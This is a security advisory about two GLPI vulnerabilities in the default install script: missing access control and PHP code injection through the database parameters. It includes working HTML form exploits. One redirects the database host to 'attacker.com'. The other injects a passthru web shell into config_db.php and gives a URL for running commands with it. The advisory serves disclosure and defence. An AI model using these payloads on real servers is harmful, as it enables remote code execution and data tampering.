High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in GLPI, which can be exploited to bypass security restrictions and execute arbitrary PHP code with privileges of web server.
Improper Access Control in GLPI
The vulnerability exists due to insufficient access restrictions to the installation script β/install/install.phpβ, which is present by default after application installation. A remote attacker can change applicationβs configuration, such as database host, forcing the application to connect to an external database and spoof information on the website, obtain access to sensitive information or simply cause a denial of service.
Simple exploit below changes the database hostname to βattacker.comβ, which forces the application to connect to a malicious database controlled by the attacker:
<form action=βhttp://[host]/install/install.phpβ method=βpostβ name=βmainβ>
<input type=βhiddenβ name=βinstallβ value=βupdate_1β>
<input type=βhiddenβ name=βdb_hostβ value=βattacker.comβ>
<input type=βsubmitβ id=βbtnβ>
</form>
Arbitrary PHP Code Injection in GLPI
The vulnerability exists due to insufficient validation of user-supplied input passed to the βdb_hostβ, βdb_userβ, βdb_passβ, and βdatabasenameβ HTTP POST parameters via β/install/install.phpβ script [that is present by default after application installation] before writing data into β/config_db.phpβ file. A remote attacker can inject and execute arbitrary PHP code on the vulnerable system.
Simple exploit below injects βpassthru($_GET[βcmdβ])β PHP code into βconfig_db.phpβ file allowing a remote attacker to execute arbitrary system command with privileges of the web server:
<form action=βhttp://[host]/install/install.phpβ method=βpostβ name=βmainβ>
<input type=βhiddenβ name=βinstallβ value=βupdate_1β>
<input type=βhiddenβ name=βdb_hostβ value=β'; } passthru($_GET[βcmdβ]); /*β>
<input type=βsubmitβ id=βbtnβ>
</form>
After that attacker can access the web shell to execute system commands via the following URL:
http://[host]/index.php?cmd=ls -la; id; pwd;